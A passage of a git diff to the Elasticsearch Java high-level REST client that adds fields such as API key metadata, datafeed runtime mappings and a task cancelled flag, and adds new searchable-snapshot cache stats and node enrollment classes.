@@ -138,6 +147,8 @@ public boolean equals(Object o) { timeStampField.equals(that.timeStampField) && indices.equals(that.indices) && dataStreamStatus == that.dataStreamStatus && + hidden == that.hidden && + system == that.system && Objects.equals(indexTemplate, that.indexTemplate) && Objects.equals(ilmPolicyName, that.ilmPolicyName) && Objects.equals(metadata, that.metadata); @@ -145,6 +156,7 @@ public boolean equals(Object o) { @Override public int hashCode() { - return Objects.hash(name, timeStampField, indices, generation, dataStreamStatus, indexTemplate, ilmPolicyName, metadata); + return Objects.hash(name, timeStampField, indices, generation, dataStreamStatus, indexTemplate, ilmPolicyName, metadata, hidden, + system); } } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/ml/PreviewDatafeedRequest.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/ml/PreviewDatafeedRequest.java index 44b86804113ad..80235ab6f15f3 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/ml/PreviewDatafeedRequest.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/ml/PreviewDatafeedRequest.java @@ -9,6 +9,9 @@ import org.elasticsearch.client.Validatable; import org.elasticsearch.client.ml.datafeed.DatafeedConfig; +import org.elasticsearch.client.ml.job.config.Job; +import org.elasticsearch.common.Nullable; +import org.elasticsearch.common.ParseField; import org.elasticsearch.common.Strings; import org.elasticsearch.common.xcontent.ConstructingObjectParser; import org.elasticsearch.common.xcontent.ToXContentObject; @@ -23,11 +26,17 @@ */ public class PreviewDatafeedRequest implements Validatable, ToXContentObject { + private static final ParseField DATAFEED_CONFIG = new ParseField("datafeed_config"); + private static final ParseField JOB_CONFIG = new ParseField("job_config"); + public static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( - "open_datafeed_request", true, a -> new PreviewDatafeedRequest((String) a[0])); + "preview_datafeed_request", + a -> new PreviewDatafeedRequest((String) a[0], (DatafeedConfig.Builder) a[1], (Job.Builder) a[2])); static { - PARSER.declareString(ConstructingObjectParser.constructorArg(), DatafeedConfig.ID); + PARSER.declareString(ConstructingObjectParser.optionalConstructorArg(), DatafeedConfig.ID); + PARSER.declareObject(ConstructingObjectParser.optionalConstructorArg(), DatafeedConfig.PARSER, DATAFEED_CONFIG); + PARSER.declareObject(ConstructingObjectParser.optionalConstructorArg(), Job.PARSER, JOB_CONFIG); } public static PreviewDatafeedRequest fromXContent(XContentParser parser) throws IOException { @@ -35,6 +44,16 @@ public static PreviewDatafeedRequest fromXContent(XContentParser parser) throws } private final String datafeedId; + private final DatafeedConfig datafeedConfig; + private final Job jobConfig; + + private PreviewDatafeedRequest(@Nullable String datafeedId, + @Nullable DatafeedConfig.Builder datafeedConfig, + @Nullable Job.Builder jobConfig) { + this.datafeedId = datafeedId; + this.datafeedConfig = datafeedConfig == null ? null : datafeedConfig.build(); + this.jobConfig = jobConfig == null ? null : jobConfig.build(); + } /** * Create a new request with the desired datafeedId @@ -43,16 +62,45 @@ public static PreviewDatafeedRequest fromXContent(XContentParser parser) throws */ public PreviewDatafeedRequest(String datafeedId) { this.datafeedId = Objects.requireNonNull(datafeedId, "[datafeed_id] must not be null"); + this.datafeedConfig = null; + this.jobConfig = null; + } + + /** + * Create a new request to preview the provided datafeed config and optional job config + * @param datafeedConfig The datafeed to preview + * @param jobConfig The associated job config (required if the datafeed does not refer to an existing job) + */ + public PreviewDatafeedRequest(DatafeedConfig datafeedConfig, Job jobConfig) { + this.datafeedId = null; + this.datafeedConfig = datafeedConfig; + this.jobConfig = jobConfig; } public String getDatafeedId() { return datafeedId; } + public DatafeedConfig getDatafeedConfig() { + return datafeedConfig; + } + + public Job getJobConfig() { + return jobConfig; + } + @Override public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { builder.startObject(); - builder.field(DatafeedConfig.ID.getPreferredName(), datafeedId); + if (datafeedId != null) { + builder.field(DatafeedConfig.ID.getPreferredName(), datafeedId); + } + if (datafeedConfig != null) { + builder.field(DATAFEED_CONFIG.getPreferredName(), datafeedConfig); + } + if (jobConfig != null) { + builder.field(JOB_CONFIG.getPreferredName(), jobConfig); + } builder.endObject(); return builder; } @@ -64,7 +112,7 @@ public String toString() { @Override public int hashCode() { - return Objects.hash(datafeedId); + return Objects.hash(datafeedId, datafeedConfig, jobConfig); } @Override @@ -78,6 +126,8 @@ public boolean equals(Object other) { } PreviewDatafeedRequest that = (PreviewDatafeedRequest) other; - return Objects.equals(datafeedId, that.datafeedId); + return Objects.equals(datafeedId, that.datafeedId) + && Objects.equals(datafeedConfig, that.datafeedConfig) + && Objects.equals(jobConfig, that.jobConfig); } } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/ml/datafeed/DatafeedUpdate.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/ml/datafeed/DatafeedUpdate.java index 02848fd05e560..1a85f662885a7 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/ml/datafeed/DatafeedUpdate.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/ml/datafeed/DatafeedUpdate.java @@ -29,6 +29,7 @@ import java.util.Arrays; import java.util.Collections; import java.util.Comparator; +import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Objects; @@ -71,6 +72,7 @@ public class DatafeedUpdate implements ToXContentObject { PARSER.declareObject(Builder::setIndicesOptions, (p, c) -> IndicesOptions.fromMap(p.map(), new IndicesOptions(IndicesOptions.Option.NONE, IndicesOptions.WildcardStates.NONE)), DatafeedConfig.INDICES_OPTIONS); + PARSER.declareObject(Builder::setRuntimeMappings, (p, c) -> p.map(), SearchSourceBuilder.RUNTIME_MAPPINGS_FIELD); } private static BytesReference parseBytes(XContentParser parser) throws IOException { @@ -91,11 +93,12 @@ private static BytesReference parseBytes(XContentParser parser) throws IOExcepti private final DelayedDataCheckConfig delayedDataCheckConfig; private final Integer maxEmptySearches; private final IndicesOptions indicesOptions; + private final Map runtimeMappings; private DatafeedUpdate(String id, TimeValue queryDelay, TimeValue frequency, List indices, BytesReference query, BytesReference aggregations, List scriptFields, Integer scrollSize, ChunkingConfig chunkingConfig, DelayedDataCheckConfig delayedDataCheckConfig, - Integer maxEmptySearches, IndicesOptions indicesOptions) { + Integer maxEmptySearches, IndicesOptions indicesOptions, Map runtimeMappings) { this.id = id; this.queryDelay = queryDelay; this.frequency = frequency; @@ -108,6 +111,7 @@ private DatafeedUpdate(String id, TimeValue queryDelay, TimeValue frequency, Lis this.delayedDataCheckConfig = delayedDataCheckConfig; this.maxEmptySearches = maxEmptySearches; this.indicesOptions = indicesOptions; + this.runtimeMappings = runtimeMappings; } /** @@ -117,6 +121,10 @@ public String getId() { return id; } + public Map getRuntimeMappings() { + return runtimeMappings; + } + @Override public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { builder.startObject(); @@ -152,6 +160,7 @@ public XContentBuilder toXContent(XContentBuilder builder, Params params) throws indicesOptions.toXContent(builder, params); builder.endObject(); } + addOptionalField(builder, SearchSourceBuilder.RUNTIME_MAPPINGS_FIELD, runtimeMappings); builder.endObject(); return builder; } @@ -242,7 +251,8 @@ public boolean equals(Object other) { && Objects.equals(this.scriptFields, that.scriptFields) && Objects.equals(this.chunkingConfig, that.chunkingConfig) && Objects.equals(this.maxEmptySearches, that.maxEmptySearches) - && Objects.equals(this.indicesOptions, that.indicesOptions); + && Objects.equals(this.indicesOptions, that.indicesOptions) + && Objects.equals(this.runtimeMappings, that.runtimeMappings); } /** @@ -253,7 +263,7 @@ public boolean equals(Object other) { @Override public int hashCode() { return Objects.hash(id, frequency, queryDelay, indices, asMap(query), scrollSize, asMap(aggregations), scriptFields, - chunkingConfig, delayedDataCheckConfig, maxEmptySearches, indicesOptions); + chunkingConfig, delayedDataCheckConfig, maxEmptySearches, indicesOptions, runtimeMappings); } public static Builder builder(String id) { @@ -274,6 +284,7 @@ public static class Builder { private DelayedDataCheckConfig delayedDataCheckConfig; private Integer maxEmptySearches; private IndicesOptions indicesOptions; + private Map runtimeMappings; public Builder(String id) { this.id = Objects.requireNonNull(id, DatafeedConfig.ID.getPreferredName()); @@ -292,6 +303,7 @@ public Builder(DatafeedUpdate config) { this.delayedDataCheckConfig = config.delayedDataCheckConfig; this.maxEmptySearches = config.maxEmptySearches; this.indicesOptions = config.indicesOptions; + this.runtimeMappings = config.runtimeMappings != null ? new HashMap<>(config.runtimeMappings) : null; } public Builder setIndices(List indices) { @@ -375,9 +387,14 @@ public Builder setIndicesOptions(IndicesOptions indicesOptions) { return this; } + public Builder setRuntimeMappings(Map runtimeMappings) { + this.runtimeMappings = runtimeMappings; + return this; + } + public DatafeedUpdate build() { return new DatafeedUpdate(id, queryDelay, frequency, indices, query, aggregations, scriptFields, scrollSize, - chunkingConfig, delayedDataCheckConfig, maxEmptySearches, indicesOptions); + chunkingConfig, delayedDataCheckConfig, maxEmptySearches, indicesOptions, runtimeMappings); } private static BytesReference xContentToBytes(ToXContentObject object) throws IOException { diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/searchable_snapshots/CachesStatsRequest.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/searchable_snapshots/CachesStatsRequest.java new file mode 100644 index 0000000000000..9fd0dfde93e9e --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/searchable_snapshots/CachesStatsRequest.java @@ -0,0 +1,41 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.searchable_snapshots; + +import org.elasticsearch.client.Validatable; +import org.elasticsearch.client.ValidationException; + +import java.util.Optional; + +public class CachesStatsRequest implements Validatable { + + private final String[] nodesIds; + + public CachesStatsRequest(String... nodesIds) { + this.nodesIds = nodesIds; + } + + public String[] getNodesIds() { + return nodesIds; + } + + @Override + public Optional validate() { + if (nodesIds != null) { + for (String nodeId : nodesIds) { + if (nodeId == null || nodeId.isEmpty()) { + final ValidationException validation = new ValidationException(); + validation.addValidationError("Node ids cannot be null or empty"); + return Optional.of(validation); + } + } + } + return Optional.empty(); + } +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/searchable_snapshots/CachesStatsResponse.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/searchable_snapshots/CachesStatsResponse.java new file mode 100644 index 0000000000000..573503755ef62 --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/searchable_snapshots/CachesStatsResponse.java @@ -0,0 +1,177 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.searchable_snapshots; + +import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.xcontent.ConstructingObjectParser; +import org.elasticsearch.common.xcontent.XContentParser; + +import java.util.List; + +import static org.elasticsearch.common.xcontent.ConstructingObjectParser.constructorArg; + +public class CachesStatsResponse { + + private final List nodeCachesStats; + + private CachesStatsResponse(List nodeCachesStats) { + this.nodeCachesStats = nodeCachesStats != null ? nodeCachesStats : List.of(); + } + + public List getNodeCachesStats() { + return nodeCachesStats; + } + + @SuppressWarnings("unchecked") + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( + "caches_stats_response", true, args -> new CachesStatsResponse((List) args[0])); + static { + PARSER.declareNamedObjects(constructorArg(), (p, c, nodeId) -> NodeCachesStats.PARSER.apply(p, nodeId), new ParseField("nodes")); + } + + public static CachesStatsResponse fromXContent(XContentParser parser) { + return PARSER.apply(parser, null); + } + + public static class NodeCachesStats { + + private final String nodeId; + private final SharedCacheStats sharedCacheStats; + + public NodeCachesStats(String nodeId, SharedCacheStats sharedCacheStats) { + this.nodeId = nodeId; + this.sharedCacheStats = sharedCacheStats; + } + + public String getNodeId() { + return nodeId; + } + + public SharedCacheStats getSharedCacheStats() { + return sharedCacheStats; + } + + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( + "node_caches_stats", true, (args, nodeId) -> new NodeCachesStats(nodeId, (SharedCacheStats) args[0])); + static { + PARSER.declareObject(constructorArg(), (p, c) -> SharedCacheStats.fromXContent(p), new ParseField("shared_cache")); + } + + public static NodeCachesStats fromXContent(XContentParser parser, String nodeId) { + return PARSER.apply(parser, nodeId); + } + } + + public static class SharedCacheStats { + + private final int numRegions; + private final long size; + private final long regionSize; + private final long writes; + private final long bytesWritten; + private final long reads; + private final long bytesRead; + private final long evictions; + + SharedCacheStats( + int numRegions, + long size, + long regionSize, + long writes, + long bytesWritten, + long reads, + long bytesRead, + long evictions + ) { + this.numRegions = numRegions; + this.size = size; + this.regionSize = regionSize; + this.writes = writes; + this.bytesWritten = bytesWritten; + this.reads = reads; + this.bytesRead = bytesRead; + this.evictions = evictions; + } + + public int getNumRegions() { + return numRegions; + } + + public long getSize() { + return size; + } + + public long getRegionSize() { + return regionSize; + } + + public long getWrites() { + return writes; + } + + public long getBytesWritten() { + return bytesWritten; + } + + public long getReads() { + return reads; + } + + public long getBytesRead() { + return bytesRead; + } + + public long getEvictions() { + return evictions; + } + + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( + "shared_cache_stats", + true, + args -> new SharedCacheStats( + (int) args[0], + (long) args[1], + (long) args[2], + (long) args[3], + (long) args[4], + (long) args[5], + (long) args[6], + (long) args[7] + ) + ); + static { + PARSER.declareInt(constructorArg(), new ParseField("num_regions")); + PARSER.declareLong(constructorArg(), new ParseField("size_in_bytes")); + PARSER.declareLong(constructorArg(), new ParseField("region_size_in_bytes")); + PARSER.declareLong(constructorArg(), new ParseField("writes")); + PARSER.declareLong(constructorArg(), new ParseField("bytes_written_in_bytes")); + PARSER.declareLong(constructorArg(), new ParseField("reads")); + PARSER.declareLong(constructorArg(), new ParseField("bytes_read_in_bytes")); + PARSER.declareLong(constructorArg(), new ParseField("evictions")); + } + + public static SharedCacheStats fromXContent(XContentParser parser) { + return PARSER.apply(parser, null); + } + + @Override + public String toString() { + return "SharedCacheStats{" + + "numRegions=" + numRegions + + ", size=" + size + + ", regionSize=" + regionSize + + ", writes=" + writes + + ", bytesWritten=" + bytesWritten + + ", reads=" + reads + + ", bytesRead=" + bytesRead + + ", evictions=" + evictions + + '}'; + } + } +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/security/CreateApiKeyRequest.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/security/CreateApiKeyRequest.java index 9947f02600c65..fded84a1672a5 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/security/CreateApiKeyRequest.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/security/CreateApiKeyRequest.java @@ -17,6 +17,7 @@ import java.io.IOException; import java.util.List; +import java.util.Map; import java.util.Objects; /** @@ -28,19 +29,28 @@ public final class CreateApiKeyRequest implements Validatable, ToXContentObject private final TimeValue expiration; private final List roles; private final RefreshPolicy refreshPolicy; + private final Map metadata; /** * Create API Key request constructor * @param name name for the API key * @param roles list of {@link Role}s * @param expiration to specify expiration for the API key + * @param metadata Arbitrary metadata for the API key */ public CreateApiKeyRequest(String name, List roles, @Nullable TimeValue expiration, - @Nullable final RefreshPolicy refreshPolicy) { + @Nullable final RefreshPolicy refreshPolicy, + @Nullable Map metadata) { this.name = name; this.roles = Objects.requireNonNull(roles, "roles may not be null"); this.expiration = expiration; this.refreshPolicy = (refreshPolicy == null) ? RefreshPolicy.getDefault() : refreshPolicy; + this.metadata = metadata; + } + + public CreateApiKeyRequest(String name, List roles, @Nullable TimeValue expiration, + @Nullable final RefreshPolicy refreshPolicy) { + this(name, roles, expiration, refreshPolicy, null); } public String getName() { @@ -59,9 +69,13 @@ public RefreshPolicy getRefreshPolicy() { return refreshPolicy; } + public Map getMetadata() { + return metadata; + } + @Override public int hashCode() { - return Objects.hash(name, refreshPolicy, roles, expiration); + return Objects.hash(name, refreshPolicy, roles, expiration, metadata); } @Override @@ -74,7 +88,7 @@ public boolean equals(Object o) { } final CreateApiKeyRequest that = (CreateApiKeyRequest) o; return Objects.equals(name, that.name) && Objects.equals(refreshPolicy, that.refreshPolicy) && Objects.equals(roles, that.roles) - && Objects.equals(expiration, that.expiration); + && Objects.equals(expiration, that.expiration) && Objects.equals(metadata, that.metadata); } @Override @@ -107,6 +121,9 @@ public XContentBuilder toXContent(XContentBuilder builder, Params params) throws builder.endObject(); } builder.endObject(); + if (metadata != null) { + builder.field("metadata", metadata); + } return builder.endObject(); } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/security/NodeEnrollmentRequest.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/security/NodeEnrollmentRequest.java new file mode 100644 index 0000000000000..5889badb255ca --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/security/NodeEnrollmentRequest.java @@ -0,0 +1,29 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.security; + +import org.apache.http.client.methods.HttpGet; +import org.elasticsearch.client.Request; +import org.elasticsearch.client.Validatable; + +/** + * Retrieves information needed about configuration so that new node can join a secured cluster + */ +public final class NodeEnrollmentRequest implements Validatable { + + public static final NodeEnrollmentRequest INSTANCE = new NodeEnrollmentRequest(); + + private NodeEnrollmentRequest(){ + + } + + public Request getRequest() { + return new Request(HttpGet.METHOD_NAME, "/_security/enroll_node"); + } +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/security/NodeEnrollmentResponse.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/security/NodeEnrollmentResponse.java new file mode 100644 index 0000000000000..575d517e00ac5 --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/security/NodeEnrollmentResponse.java @@ -0,0 +1,108 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.security; + +import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.xcontent.ConstructingObjectParser; +import org.elasticsearch.common.xcontent.XContentParser; + +import java.io.IOException; +import java.util.Collections; +import java.util.List; +import java.util.Objects; + +public class NodeEnrollmentResponse { + + private final String httpCaKey; + private final String httpCaCert; + private final String transportKey; + private final String transportCert; + private final String clusterName; + private final List nodesAddresses; + + public NodeEnrollmentResponse(String httpCaKey, String httpCaCert, String transportKey, String transportCert, String clusterName, + List nodesAddresses){ + this.httpCaKey = httpCaKey; + this.httpCaCert = httpCaCert; + this.transportKey = transportKey; + this.transportCert = transportCert; + this.clusterName = clusterName; + this.nodesAddresses = Collections.unmodifiableList(nodesAddresses); + } + + public String getHttpCaKey() { + return httpCaKey; + } + + public String getHttpCaCert() { + return httpCaCert; + } + + public String getTransportKey() { + return transportKey; + } + + public String getTransportCert() { + return transportCert; + } + + public String getClusterName() { + return clusterName; + } + + public List getNodesAddresses() { + return nodesAddresses; + } + + private static final ParseField HTTP_CA_KEY = new ParseField("http_ca_key"); + private static final ParseField HTTP_CA_CERT = new ParseField("http_ca_cert"); + private static final ParseField TRANSPORT_KEY = new ParseField("transport_key"); + private static final ParseField TRANSPORT_CERT = new ParseField("transport_cert"); + private static final ParseField CLUSTER_NAME = new ParseField("cluster_name"); + private static final ParseField NODES_ADDRESSES = new ParseField("nodes_addresses"); + + @SuppressWarnings("unchecked") + public static final ConstructingObjectParser + PARSER = + new ConstructingObjectParser<>(NodeEnrollmentResponse.class.getName(), true, a -> { + final String httpCaKey = (String) a[0]; + final String httpCaCert = (String) a[1]; + final String transportKey = (String) a[2]; + final String transportCert = (String) a[3]; + final String clusterName = (String) a[4]; + final List nodesAddresses = (List) a[5]; + return new NodeEnrollmentResponse(httpCaKey, httpCaCert, transportKey, transportCert, clusterName, nodesAddresses); + }); + + static { + PARSER.declareString(ConstructingObjectParser.constructorArg(), HTTP_CA_KEY); + PARSER.declareString(ConstructingObjectParser.constructorArg(), HTTP_CA_CERT); + PARSER.declareString(ConstructingObjectParser.constructorArg(), TRANSPORT_KEY); + PARSER.declareString(ConstructingObjectParser.constructorArg(), TRANSPORT_CERT); + PARSER.declareString(ConstructingObjectParser.constructorArg(), CLUSTER_NAME); + PARSER.declareStringArray(ConstructingObjectParser.constructorArg(), NODES_ADDRESSES); + } + + public static NodeEnrollmentResponse fromXContent(XContentParser parser) throws IOException { + return PARSER.apply(parser, null); + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + NodeEnrollmentResponse that = (NodeEnrollmentResponse) o; + return httpCaKey.equals(that.httpCaKey) && httpCaCert.equals(that.httpCaCert) && transportKey.equals(that.transportKey) + && transportCert.equals(that.transportCert) && clusterName.equals(that.clusterName) + && nodesAddresses.equals(that.nodesAddresses); + } + + @Override public int hashCode() { + return Objects.hash(httpCaKey, httpCaCert, transportKey, transportCert, clusterName, nodesAddresses); + } +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/security/support/ApiKey.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/security/support/ApiKey.java index d054e7e08a2e1..1503dc7f57d6e 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/security/support/ApiKey.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/security/support/ApiKey.java @@ -15,6 +15,7 @@ import java.io.IOException; import java.time.Instant; +import java.util.Map; import java.util.Objects; import static org.elasticsearch.common.xcontent.ConstructingObjectParser.constructorArg; @@ -32,8 +33,10 @@ public final class ApiKey { private final boolean invalidated; private final String username; private final String realm; + private final Map metadata; - public ApiKey(String name, String id, Instant creation, Instant expiration, boolean invalidated, String username, String realm) { + public ApiKey(String name, String id, Instant creation, Instant expiration, boolean invalidated, String username, String realm, + Map metadata) { this.name = name; this.id = id; // As we do not yet support the nanosecond precision when we serialize to JSON, @@ -44,6 +47,7 @@ public ApiKey(String name, String id, Instant creation, Instant expiration, bool this.invalidated = invalidated; this.username = username; this.realm = realm; + this.metadata = metadata; } public String getId() { @@ -90,9 +94,13 @@ public String getRealm() { return realm; } + public Map getMetadata() { + return metadata; + } + @Override public int hashCode() { - return Objects.hash(name, id, creation, expiration, invalidated, username, realm); + return Objects.hash(name, id, creation, expiration, invalidated, username, realm, metadata); } @Override @@ -113,12 +121,15 @@ public boolean equals(Object obj) { && Objects.equals(expiration, other.expiration) && Objects.equals(invalidated, other.invalidated) && Objects.equals(username, other.username) - && Objects.equals(realm, other.realm); + && Objects.equals(realm, other.realm) + && Objects.equals(metadata, other.metadata); } + @SuppressWarnings("unchecked") static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>("api_key", args -> { return new ApiKey((String) args[0], (String) args[1], Instant.ofEpochMilli((Long) args[2]), - (args[3] == null) ? null : Instant.ofEpochMilli((Long) args[3]), (Boolean) args[4], (String) args[5], (String) args[6]); + (args[3] == null) ? null : Instant.ofEpochMilli((Long) args[3]), (Boolean) args[4], (String) args[5], (String) args[6], + (Map) args[7]); }); static { PARSER.declareField(optionalConstructorArg(), (p, c) -> p.textOrNull(), new ParseField("name"), @@ -129,6 +140,7 @@ public boolean equals(Object obj) { PARSER.declareBoolean(constructorArg(), new ParseField("invalidated")); PARSER.declareString(constructorArg(), new ParseField("username")); PARSER.declareString(constructorArg(), new ParseField("realm")); + PARSER.declareObject(optionalConstructorArg(), (p, c) -> p.map(), new ParseField("metadata")); } public static ApiKey fromXContent(XContentParser parser) throws IOException { diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/snapshots/GetSnapshottableFeaturesRequest.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/snapshots/GetSnapshottableFeaturesRequest.java deleted file mode 100644 index 458c3f5720440..0000000000000 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/snapshots/GetSnapshottableFeaturesRequest.java +++ /dev/null @@ -1,17 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.client.snapshots; - -import org.elasticsearch.client.TimedRequest; - -/** - * A {@link TimedRequest} to get the list of features available to be included in snapshots in the cluster. - */ -public class GetSnapshottableFeaturesRequest extends TimedRequest { -} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/snapshots/GetSnapshottableFeaturesResponse.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/snapshots/GetSnapshottableFeaturesResponse.java deleted file mode 100644 index 049eba6b051b8..0000000000000 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/snapshots/GetSnapshottableFeaturesResponse.java +++ /dev/null @@ -1,108 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.client.snapshots; - -import org.elasticsearch.common.ParseField; -import org.elasticsearch.common.xcontent.ConstructingObjectParser; -import org.elasticsearch.common.xcontent.ObjectParser; -import org.elasticsearch.common.xcontent.XContentParser; - -import java.util.List; -import java.util.Objects; - -public class GetSnapshottableFeaturesResponse { - - private final List features; - - private static final ParseField FEATURES = new ParseField("features"); - - @SuppressWarnings("unchecked") - private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( - "snapshottable_features_response", true, (a, ctx) -> new GetSnapshottableFeaturesResponse((List) a[0]) - ); - - static { - PARSER.declareObjectArray(ConstructingObjectParser.constructorArg(), SnapshottableFeature::parse, FEATURES); - } - - public GetSnapshottableFeaturesResponse(List features) { - this.features = features; - } - - public List getFeatures() { - return features; - } - - public static GetSnapshottableFeaturesResponse parse(XContentParser parser) { - return PARSER.apply(parser, null); - } - - @Override - public boolean equals(Object o) { - if (this == o) return true; - if ((o instanceof GetSnapshottableFeaturesResponse) == false) return false; - GetSnapshottableFeaturesResponse that = (GetSnapshottableFeaturesResponse) o; - return getFeatures().equals(that.getFeatures()); - } - - @Override - public int hashCode() { - return Objects.hash(getFeatures()); - } - - public static class SnapshottableFeature { - - private final String featureName; - private final String description; - - private static final ParseField FEATURE_NAME = new ParseField("name"); - private static final ParseField DESCRIPTION = new ParseField("description"); - - private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( - "feature", true, (a, ctx) -> new SnapshottableFeature((String) a[0], (String) a[1]) - ); - - static { - PARSER.declareField(ConstructingObjectParser.constructorArg(), - (p, c) -> p.text(), FEATURE_NAME, ObjectParser.ValueType.STRING); - PARSER.declareField(ConstructingObjectParser.constructorArg(), - (p, c) -> p.text(), DESCRIPTION, ObjectParser.ValueType.STRING); - } - - public SnapshottableFeature(String featureName, String description) { - this.featureName = featureName; - this.description = description; - } - - public static SnapshottableFeature parse(XContentParser parser, Void ctx) { - return PARSER.apply(parser, ctx); - } - - public String getFeatureName() { - return featureName; - } - - public String getDescription() { - return description; - } - - @Override - public boolean equals(Object o) { - if (this == o) return true; - if ((o instanceof SnapshottableFeature) == false) return false; - SnapshottableFeature feature = (SnapshottableFeature) o; - return Objects.equals(getFeatureName(), feature.getFeatureName()); - } - - @Override - public int hashCode() { - return Objects.hash(getFeatureName()); - } - } -} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/tasks/TaskInfo.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/tasks/TaskInfo.java index 7ace6a52df315..a2321064061e1 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/tasks/TaskInfo.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/tasks/TaskInfo.java @@ -29,6 +29,7 @@ public class TaskInfo { private long startTime; private long runningTimeNanos; private boolean cancellable; + private boolean cancelled; private TaskId parentTaskId; private final Map status = new HashMap<>(); private final Map headers = new HashMap<>(); @@ -93,6 +94,14 @@ void setCancellable(boolean cancellable) { this.cancellable = cancellable; } + public boolean isCancelled() { + return cancelled; + } + + void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + public TaskId getParentTaskId() { return parentTaskId; } @@ -134,6 +143,7 @@ private void noOpParse(Object s) {} parser.declareLong(TaskInfo::setStartTime, new ParseField("start_time_in_millis")); parser.declareLong(TaskInfo::setRunningTimeNanos, new ParseField("running_time_in_nanos")); parser.declareBoolean(TaskInfo::setCancellable, new ParseField("cancellable")); + parser.declareBoolean(TaskInfo::setCancelled, new ParseField("cancelled")); parser.declareString(TaskInfo::setParentTaskId, new ParseField("parent_task_id")); parser.declareObject(TaskInfo::setHeaders, (p, c) -> p.mapStrings(), new ParseField("headers")); PARSER = (XContentParser p, Void v, String name) -> parser.parse(p, new TaskInfo(new TaskId(name)), null); @@ -147,6 +157,7 @@ public boolean equals(Object o) { return getStartTime() == taskInfo.getStartTime() && getRunningTimeNanos() == taskInfo.getRunningTimeNanos() && isCancellable() == taskInfo.isCancellable() && + isCancelled() == taskInfo.isCancelled() && Objects.equals(getTaskId(), taskInfo.getTaskId()) && Objects.equals(getType(), taskInfo.getType()) && Objects.equals(getAction(), taskInfo.getAction()) && @@ -159,8 +170,17 @@ public boolean equals(Object o) { @Override public int hashCode() { return Objects.hash( - getTaskId(), getType(), getAction(), getDescription(), 